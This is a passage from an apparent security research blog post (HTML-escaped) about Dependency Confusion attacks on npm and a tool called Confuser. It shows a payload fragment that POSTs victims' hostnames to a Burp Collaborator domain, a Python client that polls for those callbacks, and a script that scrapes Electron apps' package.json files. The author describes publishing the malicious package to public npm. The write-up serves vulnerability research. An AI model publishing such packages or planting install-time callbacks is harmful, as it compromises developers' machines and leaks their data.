  &lt;span class=&quot;na&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;POST&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;application/json&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Content-Length&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;rejectUnauthorized&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;https&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;options&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{});&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I’ve decided to save time on implementing a fake DNS server and use the existing infrastructure provided by Burp Collaborator. The file will use a given project’s ID and victim’s hostname as subdomains and try to send an HTTP request to the Burp Collaborator domain. This way my tool will be able to assign callbacks to proper projects along with the victims’ hostnames.&lt;/p&gt;

&lt;p&gt;After the payload generation, the package is published to the public NPM repository using the npm command itself: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;npm publish&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;step-3-callback-aggregation&quot;&gt;Step 3) Callback aggregation&lt;/h3&gt;

&lt;p&gt;The final step in the chain is receiving and aggregating the callbacks. As stated before, I have decided to use a Burp Collaborator infrastructure. To be able to download callbacks to my backend I have implemented a simple Burp Collaborator client in Python:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;BurpCollaboratorClient&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;BURP_DOMAIN&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;polling.burpcollaborator.net&quot;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__init__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;colabo_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;colabo_subdomain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;colabo_key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;colabo_key&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;colabo_subdomain&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;colabo_subdomain&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;poll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;params&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;biid&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;colabo_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;User-Agent&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;https://&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BURP_DOMAIN&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/burpresults&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;params&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;params&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;#, proxies=PROXIES, verify=False)
&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status_code&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;raise&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Failed to poll Burp Collaborator&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;result_parsed&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;loads&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result_parsed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;responses&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After polling, the returned callbacks are parsed and assigned to the proper projects. For example if anyone runs &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;npm install&lt;/code&gt; on an example project I have shown before, it’ll render the following callbacks in the application:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/depconfusion2.png&quot; alt=&quot;Callbacks&quot; align=&quot;center&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;test-run&quot;&gt;Test run&lt;/h2&gt;

&lt;p&gt;To validate the effectiveness of Confuser, we decided to test Github’s top 50 ElectronJS applications.&lt;/p&gt;

&lt;p&gt;I have extracted a list of Electron Applications from the official ElectronJS repository available &lt;a href=&quot;https://github.com/electron/apps/tree/master/apps&quot;&gt;here&lt;/a&gt;. Then, I used the Github API to sort the repositories by the number of stars. For the top 50, I have scraped the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;package.json&lt;/code&gt; files.&lt;/p&gt;

&lt;p&gt;This is the Node script to scrape the files:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;50&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;repos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;repo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;repos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;octokit&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;GET /repos/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;repo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;repo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/commits?per_page=1&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{})&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sha&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sha&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;octokit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;GET /repos/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;repo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;repo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/git/trees/:sha?recursive=1&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;sha&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sha&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;file_index&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;tree&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;nx&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;tree&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;file_index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
          &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;endsWith&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;package.json&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;octokit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;GET /repos/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;repo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;repo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/git/blobs/:sha&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
              &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;sha&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sha&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
          &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;package_json&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;utf-8&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;repoNameSplit&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;repo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;repo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;writeFileSync&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;package_jsons/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;repoNameSplit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;repoNameSplit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.json&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;package_json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The script takes the newest commit from each repo and then recursively searches its files for any named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;package.json&lt;/code&gt;. Such files are downloaded and saved locally.&lt;/p&gt;

&lt;p&gt;After downloading those files, I uploaded them to the Confuser tool. It resulted in scanning almost 3k dependency packages. Unfortunately only one application had some potential targets. As it turned out, it was taken from an archived repository, so despite having a “malicious” package in the NPM repository for over 24h (after which, it was removed by NPM) I’d received no callbacks from the victim. I had received a few callbacks from some machines that seemed to have downloaded the application for analysis. This also highlighted a problem with my payload - getting only the hostname of the victim might not be enough to distinguish an actual victim from false positives. A more accurate payload might involve collecting information such as local paths and local users which opens up to privacy concerns.&lt;/p&gt;

&lt;p&gt;Example false positives:
&lt;img src=&quot;../../../public/images/depconfusion3.png&quot; alt=&quot;False positives&quot; align=&quot;center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In hindsight, it was a pretty naive approach to scrape &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;package.json&lt;/code&gt; files from public repositories. Open Source projects most likely use only public dependencies and don’t rely on any private infrastructures. On the last day of my research, I downloaded a few closed source Electron apps. Unpacking them, I was able to extract the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;package.json&lt;/code&gt; in many cases but none yield any interesting results.&lt;/p&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;p&gt;We’re releasing &lt;strong&gt;Confuser&lt;/strong&gt; - a newly created tool to find and test for Dependency Confusion vulnerabilities. It allows scanning &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;packages.json&lt;/code&gt; files, generating and publishing payloads to the NPM repository, and finally aggregating the callbacks from vulnerable targets.&lt;/p&gt;

